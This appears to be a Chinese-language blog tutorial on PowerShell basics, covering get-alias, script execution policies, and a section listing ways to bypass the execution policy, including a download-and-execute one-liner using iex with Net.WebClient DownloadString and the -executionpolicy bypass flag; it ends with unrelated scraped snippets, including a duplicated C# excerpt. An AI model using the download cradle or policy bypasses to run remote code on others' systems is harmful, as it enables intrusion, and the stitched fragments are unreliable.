powershell基礎知識

2022-06-19 09:42:09 字數 2474 閱讀 2763

我們先從最基本的命令入手,windows powershell命令中get類命令是很龐大的乙個命令工具集合,而且get類命令也是powershell中佔比最大的。

get-alias命令的功能是檢視當前執行會話的別名;

開啟powershell,輸入get-al,tab鍵補全,回車

我們也可以查詢指定命令的別名,如:

powershell中輸入get-executionpolicy

可以看見當前的執行策是受限制的,所以是不能夠執行psl指令碼的

我們試著執行一下psl指令碼

通過重定向先生成乙個myscript.ps1

'"hello,powershell script"' > myscript.ps1
然後執行

powershell一般初始化情況下都會禁止指令碼執行。指令碼能否執行取決於powershell的執行策略。

只有管理員才有許可權更改這個策略。非管理員會報錯。

檢視指令碼執行策略,可以通過:

更改指令碼執行策略,可以通過:

指令碼執行策略型別為:microsoft.powershell.executionpolicy

檢視所有支援的執行策略:

unrestricted:許可權最高,可以不受限制執行任何指令碼。

default:為powershell預設的策略:restricted,不允許任何指令碼執行。

allsigned:所有指令碼都必須經過簽名才能在執行。

remotesigned:本地指令碼無限制,但是對來自網路的指令碼必須經過簽名。

bypass:bypass執行策略對指令碼的執行不設任何的限制,任何指令碼都可以執行,並且不會有安全性提示。

undefined:undefined表示沒有設定指令碼策略,當然此時發生會繼承或應用預設的指令碼策略。

當設定好執行策略後就可執行powershell指令碼

如何繞過執行策略:

1.本地讀取然後通過管道符執行

powershell get-content 1.ps1 | powershell -noprofile -

powershell -c "

iex(new-object net.webclient).downloadstring('')

"

3.bypass執行策略繞過

powershell -executionpolicy bypass -file ./a.ps1
不會顯示警告和提示

4.unrestricted執行策略標誌

powershell -executionpolicy unrestricted -file ./a.ps1
&:在字串前加上&,可以把字串當成命令執行在字串前加上&,可以把字串當成命令執行。

相同的命令還有iex(invoke-expression),也是將字串當作powershell執行

win10自帶的ise就挺不錯,自動補全功能也很好。

PowerShell基礎知識

powershell是一種命令列外殼程式和指令碼環境,使命令列使用者和指令碼編寫者可以利用 net framework的強大功能。powershell可以大量簡化人工操作,例如 安裝某些應用前需要檢查環境變數,安裝完成後需要設定環境變數,檢查和優化你的 登錄檔,這樣的人工操作可以全部交給powers...

C 基礎知識整理 基礎知識(2) 類

類,是物件導向語言的基礎。類的三大特性 封裝 繼承 多型。最基本的特性就是封裝性。程式設計師用程式描述世界,將世界的所有事物都看成物件,怎麼描述這個物件?那就是類了。也就是用類來封裝物件。用書上的話說,類是具有相同屬性和行為的物件的抽象。寶馬汽車 別克汽車 五菱之光汽車.基本具有相同的屬性和行為,所...

C 基礎知識整理 基礎知識(2) 類

類,是物件導向語言的基礎。類的三大特性 封裝 繼承 多型。最基本的特性就是封裝性。程式設計師用程式描述世界,將世界的所有事物都看成物件,怎麼描述這個物件?那就是類了。也就是用類來封裝物件。用書上的話說,類是具有相同屬性和行為的物件的抽象。寶馬汽車 別克汽車 五菱之光汽車.基本具有相同的屬性和行為,所...